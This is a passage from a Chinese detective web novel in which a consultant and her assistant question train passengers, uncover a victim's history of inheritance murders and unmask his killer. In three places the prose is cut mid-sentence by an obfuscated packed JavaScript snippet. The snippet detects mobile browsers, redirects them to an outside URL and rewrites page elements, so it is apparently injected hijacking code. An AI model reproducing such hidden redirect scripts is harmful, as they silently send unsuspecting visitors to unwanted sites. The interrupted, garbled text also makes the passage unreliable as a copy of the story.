“和案子有关,不能不提吧!”阿莉雅第二次被捂嘴,心情不怎么美妙,上手扒拉开谢德的手,磨了磨牙,“总之,那两人的关系很亲密。” 萨沙小姐叉腰:“那又如何?没人规定不能在车厢里负距离接触吧!” “但这里是公共场合。”贝尔女士狠狠拧眉,“你们真是太不检点了!” “这也没办法吧,谁让环境昏暗,气氛正好呢。”萨莎小姐捂着嘴偷笑,“哎呀,还好刚刚塞西尔小姐没有检查我的裙子,不然……我还没收拾干净呢。” 轻飘飘一句话就让莉达·塞西尔红了耳根。 “不过男人年纪大了,就是不怎么中用,”萨沙无奈,“还没怎么做呢,就结束了。” 谢德很想捂住阿莉雅的耳朵让她不要听这种话,但是这又确实可能隐藏了案件的线索,他总不能拦着不让她听。 这对未成年的身心健康危害太大了吧……他默默想。 阿莉雅表情冷静,但是通红的耳垂也暴露了内心并没有那么坚定:“那么,萨沙小姐刚刚所说的证词就有待考察了,麻烦你不要隐瞒,认真一点。” 15. 行驶的西奥多·第六幕 最后还是谢德上前进行了例行询问。流程本就该先行询问嫌疑人的社交关系、不在场证明,只不过阿莉雅原本认为能够很快锁定凶手所以省略了一部分内容。现在只是补上了跳过的环节。 “齿轮市有一个很不错的工作机会,我的经纪人希望带我和那边的工作人员对接,增加入选的几率。”因为尤塞恩的嫌疑较小,所以谢德首先记录他的证词。 所有人都坐在自己的座位上——当然,萨沙小姐以不愿意直面尸体为由选择了靠窗的位置站着,她无言地望向窗外。 谢德扫了一眼她的位置:“双臂交叉,反复调整袖口,眼神回避落向窗外。” “这是典型的防御状态,看来她拒绝交谈。”坐在他身边的阿莉雅耸肩,“没关系,把她留到最后吧,下一位是?” 谢德抬头看向莉达·塞西尔:“塞西尔小姐,麻烦你了。” 莉达·塞西尔从座位上起身,从旁边绕过案发现场的位置,来到两人的面前:“没关系,这种时候可不能差别对待。” 她右手抵着下巴沉吟片刻:“嗯……我是被特雷恩集团邀请来的,事实上,本来计划到访的应该是我的兄长费利克斯·塞西尔,不过,额,他前段时间修复了一件古董,熬夜太多,所以我就替他参加了。” 其实她不用说得那么详细,毕竟阿莉雅已经将她排除在外,所以这一步只是走个流程。但是莉达认为比起遮遮掩掩还是直说更好。 “关于杰拉德·特雷恩先生,塞西尔小姐了解多少呢?”谢德在尤塞恩和他的经纪人嘴里没能获取相关情报,毕竟他们确实素不相识。但是莉达·塞西尔毕竟是经常出入社交场合的王室,应该有听说过一些情报……大概。 “特雷恩先生的情报吗……怎么说呢,这位的风评一向还不错,所以我今天听到那件事的时候,格外……震惊。” 那件事指的肯定是贝尔女士的祖母和杰拉德·特雷恩的事。 “上流人士会在关键的社交场合携带情人作为女伴吗?”阿莉雅好奇,“我还以为邀请了王室,杰拉德会选择那位青梅竹马的女士。” 莉达:“这个嘛,毕竟那位女士忙于工作。比起这种小打小闹的场合,她只会瞄准更有发展人脉的晚宴。” 看来在杰拉德·特雷恩和他的妻子中,妻子更占据领导地位。接下来莉达的话也印证了这点:“而且那位女士……也是有很多关系密切的男性朋友的。” “他们两个各玩各的,按理来说风评应该会很差吧。为什么会说风评还不错?”阿莉雅追问。 “嗯……毕竟在一些上流人士的眼里,混乱的情感关系并不影响他们在生意和社交场上的好评。至少,杰拉德·特雷恩先生在大多数晚宴上都表现得风度有礼,他们夫妻二人在外人面前也摆出一幅恩爱的模样。”莉达意识到自己后面一句话带上了个人情绪,立马补充,“咳,总之,我对他会利用结婚骗取遗产一事十分意外。” “完全不意外。”詹姆斯靠在座位上,“他就是个无所不用的人渣。商界有不少曾经有名有姓的女士中过他的圈套。” 谢德提笔记录:“麻烦详细说说。” “或许你们知道伊芙琳女士?” “那位推行了通讯器商品化的女士?”谢德留有印象,之前阿莉雅和他念叨过很多遍,说是她觉得应该等等,推行通讯器优化后的新型号更好。 “没错,那位女士人至中年获取了如此成就本该是件好事,只不过被杰拉德·特雷恩这个混蛋盯上了。他用甜言蜜语捕获了伊芙琳女士的芳心,缠着她把遗产留给他了。” “伊芙琳女士没有配偶或者子嗣吗?”阿莉雅问。 “是的,非常不巧的是,伊芙琳女士的配偶在多年前就离世,两人也没有留下子嗣。”詹姆斯耸肩,“一个子也没有留下,就连通讯器的生产线也被他贪吞了。” “哦,难怪。现在市面上竟然还残留着那种会尖叫的通讯器。”阿莉雅面色平静地说出犀利的话,“记得抽空查查杰拉德·特雷恩的关系网,我怀疑他一直不肯下架那种便宜质量还差的东西是为了协助诈骗团伙完成诈骗。” 谢德默默把这件事记下。虽然阿莉雅可能只是随口一说,但是如果哪天她想起来问了这件事没能给出答复,她可能会拒绝和他沟通三天(工作外)。 “不仅仅有伊芙琳女士一个受害者。”詹姆斯摇头,“因为他瞄准的都是那些有一定年纪,且没有配偶或者子女的富裕女士,所以在那些女士因为各种‘意外’逝世后,也没有人会深究他身上的问题。” 阿莉雅哼了一声:“哦,所以那些遗产执行人一个都没察觉到问题吗?还是说,遗产执行人都是通过杰拉德·特雷恩介绍给那些女士的。” 詹姆斯:“我有暗自调查,这些遗产执行人都是杰拉德·特雷恩的‘朋友’。” 阿莉雅:“谢德。” “我知道了,会转交给其他部门查这件事的。”谢德不用她多说就知道阿莉雅什么意思。 这种感觉对谢德来说并不陌生,毕竟他和阿莉雅只是分别了几天,他们早已有默契。 只不过,对于阿莉雅来说,这种只是呼唤名字就能立刻领悟自己想法的事情还是头一回。她对此感到陌生,但是又十分满意谢德的反应。 于是她又唤了一声:“谢德。” 还没结束询问的警察兼助手倒了一杯茶水,往里面放了三块方糖送到她手中:“红茶。” 抿了一口甜度刚刚好的茶水,阿莉雅有些惊奇地眨眨眼,她像是发现了一个好玩的玩具,跃跃欲试。 “谢德。” “嗯,说得也是,那么,詹姆斯先生,你该说说你来这里的理由了吧。” “谢德。” “没错。詹姆斯先生,用工作作为理由可不好。就像阿莉雅小姐说得一样,你明明都私自对杰拉德的人际关系进行调查了。” 詹姆斯:“……”不是,那个金发的小姑娘明明什么都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145552|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说只是叫了你的名字吧,你是会读心吗?等等,难道是他们用名字作为暗号?但是每次的音调都差不多啊…… 测试的结果令阿莉雅格外满意,她终于说了除某人名字外的其他话:“你认识伊芙琳女士吧,你和她是什么关系?” 詹姆斯瞳孔骤缩,十几秒后,才缓缓吐出气:“果然没办法瞒过阿莉雅小姐,是的。伊芙琳女士曾经是我的邻居。她就像我的婶婶一样,对我一直很好。” “所以在听闻她的死讯时,我十分意外。伊芙琳婶婶的身体一直很好。”詹姆斯不再隐瞒两人的关系,“我托人询问,打听到伊芙琳婶婶是因为车祸去世的。在她去世的一个月前,刚刚立下了遗嘱。所以……” “所以你顺着遗嘱的线索找上了杰拉德·特雷恩?”阿莉雅摸着下巴思索,“那起车祸有什么疑点吗?为什么你会怀疑他?间隔了一个月,我认为就算解释成巧合也是可以接受的。” 这个世界上有太多的巧合了,可能啃食着普通草叶的山羊咀嚼的是凝聚了多年心血的的毕业课题,可能苹果树下的一位青年恰好起身错过了命定之果启发的灵感,可能是记录着案件的青年随手抹过纸上墨水留下的残痕而数千年后的学者正低头思索涂抹的文字有什么深意。 “警察讲究疑罪从无,可我不需要。”詹姆斯冷笑,“在见到那个男人的第一眼我心里的警钟便敲响,直觉告诉我,他绝对就是造成伊芙琳婶婶死亡的犯人。” “也就是说,你没有证据。”阿莉雅推断出这个结论。 詹姆斯沉默许久承认了:“是的,我没办法证明那起车祸是他做的。时间太久而且相关的证物也没有得到良好的保存。所以我只能从其他方面下手查找线索。” 谢德提醒:“即使你查到了那些遗产执行人和杰拉德·特雷恩认识,也只能说明他有嫌疑,无法证明他有罪。” 这就是警方的难处,没有直接证据的情况下,即使社会舆论、死者亲属甚至经办案件的警察本人都认为其有嫌疑,仍然要遵循疑罪从无的原则。 “有案件资料吗?”阿莉雅开口。 詹姆斯愣了一下,连忙点头:“有的有的,我一直随身携带着。” “虽然我不能保证能够找到证据,也无法在他已死的情况下将他送上法庭宣判他有罪,但至少,有机会能够让更多有类似经历的人获得一个真相。” 像詹姆斯一样亲近那些被杰拉德欺骗的女士的人应该也曾对她们的死亡感到茫然无措,或许不止是詹姆斯,他们也需要一个答案。 “这是我搜集的所有资料,不仅仅是伊芙琳女士,还有其他受害者的情报……那个……”詹姆斯不好意思地挠挠脸颊,“如果方便的话,可以一起查吗?” 阿莉雅咕嘟咕嘟喝下红茶:“谢德!” “好的好的,给,红茶。”一杯温度适宜甜度刚好的红茶被塞到她的手里。 “谢德!” “好的,那我要开始念了……” 16. 行驶的西奥多·第七幕 “这样没问题吗?”见詹姆斯真的从包里掏出一沓厚厚的文件,莉达?塞西尔有些担忧地悄声问,“先解决眼前的凶杀案比较好吧?” 尸体仍然坐靠在中心的座位上,没人敢靠近那个地方。凶手使用割首的手法血腥又残忍,好在有阿莉雅这位名声在外的警局顾问在场,车厢的众人都十分配合她的要求,相信她一定能找到凶手,因此很快地恢复了冷静。又加上还有前面几节的车厢还有不少警察坐镇,更安心了不少。 但这样放着眼前的案子不管,去调查死者身前犯下的案件,让莉达产生了些疑虑:“之后再去调查也没关系吧?回到齿轮市不是可以更方便地展开调查吗?” 阿莉雅摇摇手指:“正是为了解决眼前的案件,所以才要细致调查死者的背景呀。毕竟我们现在还在行驶的列车上,没办法通过各种人际网去搜查拼出死者生前的故事。” “塞西尔小姐,你知道吗,很多厉害的刑警能够从连环杀人案的种种细节推敲刻画出犯人的形象、经历。” 莉达明白了:“总之就是陷入瓶颈,所以需要转换思路,对吧?” 阿莉雅一哽,转过头欲盖弥彰:“不是哦,我只是需要厘清一些细节。”她催促自己的助手:“快快,按照时间顺序一个一个念。” 作为助手的谢德抱歉地向莉达笑笑,随后低下头严肃了神情:“第一起案件发生在三年前的三月二十五日,在乌云市的一座宅邸发生了煤气中毒事件,死者是四十三岁的维尔福女士。” “听上去像是意外。”尤塞恩过来凑热闹,“不过既然被搜罗进资料中,证明詹姆斯先生已经能够确信这不是一起单纯的意外了吧?” 詹姆斯遗憾地摇摇头:“其实我并不是很确信,不止这起,还有其他两起案件我都不能肯定这是杰拉德·特雷恩做的。只不过这几起案件的女士都‘恰好’拥有同一个遗产继承人。” 莉达·塞西尔了然:“毕竟不是受害者的关系人,不能一口咬定其他案件也一定是意外。车祸有很大可能是由人为造成的,而且也会留下痕迹。但是像煤气中毒这类意外,并不好界定。” “是人为的。”阿莉雅从谢德那里获取了想要的情报后十分肯定,“不是意外。” 她没有停顿地解释:“乌云市地处米德戴联盟的东南部,气候和齿轮市相差不大。刚刚询问了谢德他们家三年前三月份的煤炭采购量,那段时期已经比寒冷的二月要减少很多了。三月末已经步入了春季,就算寒冷也不可能贪图温暖到需要充满一整间房子的煤炭。” 幸好谢德掌管自己家的财政,每一笔花销都会好好记录在本子上。这才能在阿莉雅询问的时候第一时间翻出来准确的数据。 “另外,资料上给出的情报是,现场所有房间的门窗紧闭,死者一人停留在客厅。”阿莉雅叹气,“米德戴联盟强制每家每户的窗户都会留下一个排放水汽的小纱窗口,只要不刻意关闭不会有人注意到这点的。这个小纱窗口也是减少每年冬季取暖时期因为紧闭门窗而煤气中毒的关键。现在,有一份资料摆在我们面前,告诉我们,门窗紧闭,包括小纱窗口,这难道合理吗?乌云市的警察究竟在做什么?” 最后一句话带上了点埋怨。“但凡他们稍微拍拍自己已经生锈的大脑都应该能想到这有问题吧。” “说得也是,小纱窗口的开关与否其实并不会影响取暖。”莉达很快反应过来,“而且也没要关上整栋房子的小纱窗,现场燃烧的煤碳量足够那间屋子一整晚的取暖了。”詹姆斯的资料搜集得很详细。 阿莉雅摆摆手:“下一个。” 詹姆斯很是不可思议:“竟然只靠几段文字就能够判断,难怪都说阿莉雅小姐是警局的明日之星。” “还好还好。”阿莉雅嘴上很谦虚,但已经得意地挺直了腰板,“只要注意到细节,人人都可以做到的。” 谢德笑着摇摇头,继续念下一段资料:“两年前的一月十二日,乌云市的海滨旅馆有一位身着黄色洋裙的女性上吊自杀。现场布置十分干净,死者赫拉莎女士脖子留有紫色的绳印,脚下有被踢倒的椅子,警方判断是踩着椅子上吊自杀。” “没有打斗痕迹,那应该就是自杀了吧?”尤塞恩摸着下巴开口,“而且遗书也和本人的字迹比对过,不过死者是和杰拉德·特雷恩一同前往度假的,所以还是很可疑呢。” “那位女士多高?”阿莉雅问。 “五英尺二点五英寸(160厘米)。”谢德扫过死者的基本数据回答。 “那和我一样高呢。”阿莉雅点点头,“怀特说我也是五英尺二点五英寸。” 不,那只是因为你不断询问到底有没有量错,所以那位护士小姐才改口这么说的吧。谢德默默想。毕竟他拿到的阿莉雅的体检报告上,身高那一栏填的是五英尺二点三英寸(159.4厘米)。就算四舍五入也没办法说是五英尺二点五英寸吧。 “现场的椅子有多高?”阿莉雅回到正题。 谢德往后翻了翻文件,上面并没有记录。詹姆斯挠着脑袋说:“因为有人自杀,所以那件旅馆后续的生意惨淡维持不下去经营倒闭了。所以在我去调查的时候那里已经是一片空地,也没能联系上老板。” 这时,一旁的莉达·塞西尔思考了一会儿:“我好像去过那家旅馆。椅子的话,我记得刚刚好够我的脚挨到地面。” “塞西尔小姐多高?”阿莉雅问。 “唔……如果说是旅游那会儿的话,和死者差不多高,也是五英尺二点五英寸。” 阿莉雅默了一下:“天花板呢?” 这会儿倒是留有记录,谢德应声:“七英尺八点七英寸(240厘米)。” “伪造的自杀。”阿莉雅立刻得出了结论,“椅子大约在一英尺三点一英寸到一英尺四点八英寸之间(40-45厘米),死者不可能踩着椅子上吊自杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149822|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “等等,为什么能判断椅子的高度?”尤塞恩跟不上节奏。 这点小小的疑问阿莉雅还是乐于解答的,“当人坐在椅子上时通常会选择小腿与大腿呈九十度垂直的做法,更别提有良好教养的塞西尔小姐了。她肯定会选择最端庄的姿态。” 见其他人的目光都落在自己身上,莉达·塞西尔默认她的说法:“她说得没错。” “所以这和椅子的高度有什么关系呢?”尤塞恩的经纪人也十分有好学的精神。 “虽然每个人的身材不同,所以小腿的长度也不同。不过普遍来说,小腿的高度通常为身高的25%-28%之间。塞西尔小姐说她的身高和死者的差不多,简单计算就可以得出椅子的高度。”阿莉雅抿了一口红茶,“更重要的是,死者的脖子上仅留有绳印却没有任何挣扎痕迹,这点才是判断出是他杀的关键。” “无论一个将死之人抱有多么大的死亡决心,都会在感到窒息缺氧这种痛苦时下意识挣扎,这是本能反应。恐怕是杰拉德给那位女士下药才会如此。” 谢德便自然地开始念下一个案件:“发生在……咦,是去年六月的案件,乌云市某座宅邸起了大火,居住在此的克莱夫女士同房子一同消失在烈火之中。” “还有其他信息吗?”阿莉雅皱眉,只有这么一段偏文艺的描述可不能找出破绽。 谢德翻页看到的则是伊芙琳女士,也就是和詹姆斯先生关系比较好的那位邻居婶婶的车祸案件了:“没有,只有这么一段描述。” 詹姆斯讪笑:“因为火灾把所有东西都烧得一干二净,警局也没有特意派人调查这件事,所以我只能获取这些信息了。” “看来乌云市的警局也要好好清扫一下‘垃圾’了。”阿莉雅冷哼。 谢德明白她的意思:乌云市的警局里肯定有和杰拉德里应外合的家伙。他也知道阿莉雅肯定能说到做到,毕竟她的母亲可是掌管着米德戴联盟警察体系的警察总监——吉娜·科洛桑。 没有能用的线索,就算阿莉雅再天才也不可能凭空推理出答案:“下一个吧。” “最后一起案件发生在今年。”谢德有些意外地扬眉,“今年的二月五日,乌云市的郊外林区发生了一起车祸,死者是伊芙琳女士。后由乌云市警察局调查推测,或许是因为马匹发狂失控导致的。” “不过因为后续有死者亲近的人坚持调查,因此还是有不少可用的线索。”谢德在听见阿莉雅轻哼的时候熟练顺毛,“在靠近山崖的区域留有平行车辙,左侧车辙大约深三英寸,右侧约两英寸。崖边留有凌乱的马蹄印,重叠数枚马蹄印。马车残骸、车夫与伊芙琳女士的遗体都位于悬崖底部。” “车夫也离世了?”莉达·塞西尔意外,“这难道也是……” “就是你想的那样,杰拉德·特雷恩就在七个月前杀害了三条生命。”阿莉雅抿唇,“伊芙琳女士、车夫以及马。” 17. 行驶的西奥多·第八幕 “虽然也可以通过各种信息计算出马车实际的载货量,不过就算跳过计算也有个显而易见的结论。” 尤塞恩:“是什么呢?” “左右两侧的车辙不一致,说明马车左侧放有更重的货物,伊芙琳女士的身材暂且做不到如此。”阿莉雅歪头用无神的眼睛‘看’向列车的中央,“但是根据杰拉德·特雷恩的脚步声来判断,他的体型应该差不多?” 阿莉雅一直很在意杰拉德·特雷恩的脚步声,毕竟听上去又厚又重可步伐却稳健迅速,但却有轻巧的手杖点地的声音——他的年纪并没有到需要拄拐的程度,走姿也和正常人无异。 “看上去差不多?”尤塞恩犹豫回答。 詹姆斯认可:“肯定就是他!藏在马车里然后杀害了伊芙琳婶婶!” “准确来说是杀害了车夫、伊芙琳女士以及马。”阿莉雅指正,“从悬崖边凌乱的马蹄印可以看出,具有危机意识的马匹并不愿意带着整辆车坠入山崖,车夫也不可能傻到把自己的命搭进去。那么肯定是由第三人促成的这件事。” “杰拉德·特雷恩不可能将杀人这件事委托给他人,毕竟他也是个有头有脸的人物,如果被人抓到了把柄,下半辈子都要被人掌控。这种人可不会愿意过上那样的日子。”阿莉雅神色淡淡,“这是一个极端功利主义且具有病态控制欲的凶手,幼年时经历过贫困或者家庭财产纠纷,所以对财富的欲望凌驾在一切之上,价值观十分扭曲。” “而且从詹姆斯先生搜集到的资料来看,他的犯罪手法越来越倾向于破坏,时间间隔也越来越短了。”阿莉雅皱眉,“从最开始的煤气中毒案起,与死者相识约有一年,到后面的自杀案缩短至相识六个月就动手,再到伊芙琳女士相识一个月来看,不仅是犯罪手法的升级甚至骗术也在进化。估计受害者不只是詹姆斯先生了解的这些。” 众人的心中冒出一股寒意。这样一个杀人犯竟然在一个小时前还和大家微笑问好。 “谢德,回去后联系乌云市的人排查各种因‘意外’而亡的中年女性企业家。”阿莉雅锁定了受害者的共同特征,“还有,想办法换个有脑子的警察局长。” 谢德:“……换局长这种事不是我想办法就可以做到的。”就算是阿莉雅的母亲吉娜·科洛桑亲自来办也是要走程序的。 不,也不一定。谢德用余光扫过表情沉重的莉达·塞西尔。如果有塞西尔家的助力,那么女王陛下也可以更快通过警察总监的提案。或许这也是阿莉雅选择在列车上解决案件的原因。 “那么,贝尔女士,该你了。”阿莉雅一口气解决完三个案子,揉了揉有些胀痛的太阳穴。 旁听了整个经过,还在恶狠狠瞪视杰拉德·特雷恩尸体的贝尔女士完全没有反应过来:“什么?什么该我了?” 谢德用笔尖点了点本子:“例行询问。詹姆斯先生的询问已经结束了,那么该您了,贝尔女士。”相比其他人,作为阿莉雅助手的谢德·道格早就适应了自家顾问的快节奏办案。 贝尔女士张了张嘴,却什么也没说出口,在谢德的注视下坐到了两人的面前。其他人刚刚回到座位上暗自消化这巨大的信息量。 “我想,之前的那场闹剧应该足够两位分析出我和那个混蛋的关系了。”贝尔女士捂着脑门头疼道。显然,闹剧指的是她斥责杰拉德·特雷恩骗走了祖母的宝石,但那个狡猾的男人钻了法律的漏洞,将整件事处理得毫无破绽。 “所以说是例行询问。”阿莉雅拍了拍谢德的手臂。 助手先生心领神会,这是让他自由发挥的意思:“贝尔女士之前也有见过尸体吗?” “不,这是第一次见。”贝尔女士摇摇头。 “是吗?竟然是第一次,但我看贝尔女士似乎既不惊慌也不恐惧,似乎还有些畅快的意思。” “因为死的是那个混蛋,所以我的心情很好。” “原来如此,那么您的祖母也是因为‘意外’逝世的吗?” “祖母她是自然逝世的。”贝尔女士摇摇头,“我是看着她咽气的。” 谢德挑眉:“是吗?可您刚才说这是您第一次见尸体。” 贝尔女士一哽,慌忙解释:“不、不是的,我的意思是我第一次见被杀害的尸体。我祖母自然逝世,所以我一时之间没有把这种死状凄惨的情况同我祖母联想到一起。” 还算合理的解释。谢德没有记录这段文字,但他面上凝重:“好的,我知道了,您可以回去了。” 贝尔女士有些无措地看了一眼阿莉雅,咬着唇回到自己的座位上。 “就剩您了,萨沙小姐。”谢德转换表情,微笑着望向窗边的那位女性。 阿莉雅拍拍手:“没关系,我们过去询问。” 萨沙小姐从刚才开始就一直很安静,直到两人走到她面前才开口:“需要我说些什么?”她的手指不停缠绕着头发,说明现在有些焦虑。 谢德侧身看向阿莉雅,他的顾问捂着嘴打了个哈欠。看来还是让他主导询问的意思:“那么,您和杰拉德·特雷恩先生的关系是?” “关系?”萨沙小姐捂着嘴轻笑,“英俊的警官先生,刚才我们不是已经讨论过这个话题了吗?”关于尤塞恩听见的“水声”一事,车厢的大家对此都心照不宣。 “所以,在萨沙小姐看来,你们两人的关系是?”谢德不接她的话,“请配合警方破案。” “唉,真是无趣的男人。”萨莎小姐摊手摇摇头,“警官先生应该还没有恋人吧,要趁早改掉这种无趣的说话方式。” 调侃完对面的人,见他毫无所动,萨沙撇撇嘴:“我们是恋人。” “真让人意外。”阿莉雅开口,“我还以为在经历过刚才对杰拉德·特雷恩罪行的揭露后,萨沙小姐会否认两人的亲密关系。不会将恋人这样的词语轻易说出口。” 萨沙缠着头发在手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153972|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指上绕圈:“有什么区别呢?毕竟我们的关系大家心里都清楚,我否认并没有任何好处,不是吗?” “当亲近的人犯下罪行,对此人的态度会影响人们的表现。有强烈情感依赖的情况,为缓解‘信任的人’与‘犯罪者’身份的矛盾,也为了缓解内心的冲突,当事人往往会选择通过合理化或否认来处理情况。”阿莉雅笑了笑,“最经典的话术是‘他这么做肯定是有人胁迫的’、‘他不可能做出这种事’、‘是你们搞错了’。” “而道德感强烈或者比较功利主义的人会选择切割关系。当然除此之外还有选择提供情感支持但拒绝协助掩盖罪行的,被动沉默以‘不知情’回避道德审判的,在最初辩解但随着证据确凿逐渐疏远罪犯的。”阿莉雅歪头,“萨莎小姐好像不属于以上任何一种呢。” “不管是贝尔女士指出杰拉德·特雷恩骗取宝石的时候,还是詹姆斯先生说出杰拉德是个潜在的杀人犯的时候,你都是一幅事不关己的样子呢。”阿莉雅弯起眼睛,“不要因为我看不见就松懈表演哦,我的‘眼睛’可是有在好好观察你呢。” 她身旁的谢德也弯了一下嘴唇,很快抹平恢复了那幅审视的冷漠表情。 “我不明白你在说什么。”萨沙小姐转头望向窗外,“我毕竟只是他众多情人中的一位,只是为了金钱才和他演演恋人,和他的关系算不上亲近。” “我从刚才就很疑惑,为什么萨莎小姐要选择站在窗边呢?”阿莉雅用指尖点着下巴,“这扇窗户又打不开,就算盼望着列车早点到达齿轮市,站在这里也什么也看不到吧。” “只是觉得窗外风景不错而已。” “真的是这样吗?我还以为是萨莎小姐不能坐下,所以才找了个理由站在窗边。毕竟整节车厢站着也不会突兀奇怪的位置只有窗边,不是吗?” 萨沙的身体一顿,双手交握重叠呈现防御姿态。 阿莉雅乘胜追击:“还有一件令我很困惑的事,像杰拉德·特雷恩那样一直手持手杖的绅士已经很少见了,有什么理由是他必须随身携带手杖的吗?对了,那根手杖去哪了,谢德,你有看见吗?” “进入隧道前还在。”谢德配合回答。 “也就是说,手杖在进入隧道后,车厢变得黑漆漆的时候‘唰’得一下消失了!”阿莉雅捂着嘴惊讶,“难道是怪盗卡萨诺瓦偷走了那根手杖吗?该不会凶手就是那个一直挑衅警方的怪盗!” 倒也没有挑衅的地步……谢德·道格在一旁默默看着阿莉雅飙戏。虽然每次收到怪盗的预告函都会引发隔壁部门的一阵骚乱,并且在下一秒,特别案件处理处的门就会被请求阿莉雅协助的侦察署敲响。但是总体来说,比起那些穷凶极恶的杀人犯,谢德还是更喜欢和阿莉雅一起去抓怪盗。 可能是因为萨沙小姐毫无反应,让阿莉雅的表演欲望下降了不少,她收起夸张的腔调,直言:“萨沙小姐,你的裙子下面藏了什么?” 18. 行驶的西奥多·第九幕 “萨沙小姐,你的裙子下面藏了什么?”虽然是阿莉雅开口问的问题,但她不需要对方给出答案,“你和杰拉德·特雷恩的关系可没有你说得那么简单。” “你和詹姆斯先生一样,都是被他杀害的受害者亲近的人,对吧?” 萨沙小姐握紧拳头,执拗地望着窗外。 “你根本没想过隐瞒,萨沙(Sarah)和赫拉莎(Haras),对调首尾字母便能发现这一秘密。”阿莉雅说,“你是第二起被伪造成自杀案件的受害者赫拉莎女士的什么人?” “呵。”萨沙绷不住表情笑出了声,“呵,呵哈哈,哈哈哈哈。是啊,我是来找他报仇的,那又怎样?他杀了我的母亲,我只是以眼还眼,以牙还牙罢了。” “母亲?”谢德皱眉,“这不可能,资料上显示,赫拉莎女士的遗产全部转移到杰拉德·特雷恩的手中,如果真的有子女,那么……”私生女? 詹姆斯惊疑不定:“但是,我记得我听从杰拉德的命令做背景调查的时候,你的资料显示是在福利院,那时候你叫做阿莱莎。” “赫拉莎是一直资助我长大的人,我将她视作母亲有什么问题?”萨沙撩起头发,“名字这种东西随时都可以抛弃。” “那个老混蛋就算听说我改了名字也没有意识到不对,我每次穿着黄色的洋裙在他面前晃也毫无反应。”萨沙恨恨地说,“我就知道!这个没心的恶棍早就不记得赫拉莎妈妈的存在了!” “所以你杀了他。”贝尔女士理解地点头,“这样的混蛋应该早点下地狱才对。” 萨沙捂住嘴:“您在说什么呢,贝尔女士。我只是说我来找那个老东西报仇,可从来没说过要杀他。”她欣赏着自己的指甲:“我的报仇可没有那么血腥,只是想要骗走他的财产而已。” 阿莉雅皱眉,低声对谢德嘱咐几句。助手先生点头立刻去执行。 “虽然那家伙的血还是溅到了我的身上,弄脏了我这身衣服。”萨沙点头搓了搓黄裙上已经干涸的血迹,“我还没能把他的遗产骗到手呢,怎么可能直接下手杀了他呢?” “同态复仇法。”阿莉雅在一片寂静中开口,“‘以眼还眼,以牙还牙’是同态复仇法的核心思想。被你视为母亲的赫拉莎女士被伪造成自杀身亡,你却只打算骗走杰拉德·特雷恩的财产?这可不符合你的说法。” 萨沙眯起眼睛,随后露出甜腻的笑容:“我又没有阿莉雅小姐那么聪明,当然是在今天才知道赫拉莎妈妈的真实死因呀。” “你是说,你更换姓名,以情人的身份和杰拉德相处,并且常常穿上和你母亲死亡时相同的穿搭,只是为了骗取杰拉德的财产。” 萨沙笑着点头:“当然,我还想试探看看那个老混蛋还有没有良心。” “你在拖延时间。”阿莉雅冷不丁地说,“从我对你的侧写来看,你通过改名建立了心理防火墙,将萨沙与阿莱莎两个身份隔离,不仅是为了复仇,还是为了压抑属于阿莱莎的仇恨,从而伪装成杰拉德身边的情人。你选择了与死者建立情感纽带——虽然你本人认为自己是带着恨意,但这样自虐式的做法只会进一步加重你的内心创伤。” “从你能够长期伪装且能够在今日有王室莅临的场合出席来看,你有极强的情绪伪装和社交操纵技能,并且具有高度的计划性和耐心。你原本的计划是什么?” “抱歉,我听不明白你在说什么。”萨沙小姐面露微笑。 “选择‘割首’的方式并不符合我对你的心理侧写,还是说,你在今天受到了外在刺激导致冲动杀人。”阿莉雅自顾自地说,“凶器你一直随身带着,因为那是你为了不断提醒自己不要忘记复仇的重要道具。谢德说你的戒指并没有表面看起来那么朴素,我猜是有什么机关能够藏着什么东西——比如一条沾满了杰拉德·特雷恩血迹的金属丝。” 詹姆斯上前一步握住萨沙的手腕,强硬地检查了她的戒指。果然如阿莉雅所说,在扭动指环后,能够从中拉出一条长长的金属丝,上面布满血迹。 “人赃俱获,你就是凶手!”詹姆斯紧抓她的手腕不放。 萨沙用力甩开了他的手,冷哼一声整理着自己的洋裙:“是我杀了他,那又如何。” “另外,从出隧道后一直消失的属于杰拉德的手杖就藏在你的裙下,贝尔女士,麻烦你检查了。”阿莉雅拜托贝尔女士。 “没问题。”贝尔女士和詹姆斯合力控制了挣扎的萨沙。她弯腰将手伸入裙中摸索了几下,果然碰到了手杖。 “从你尖叫‘死人了’之后,你就一直保持着站立的姿势,就算我们开始了询问,也没有回到座位休息,恐怕不止是害怕尸体这个理由吧。毕竟手杖也有一定长度,坐下会很露出破绽。” “但是,为什么萨沙小姐要偷走手杖呢?”莉达提问,“她不是打算复仇吗?” 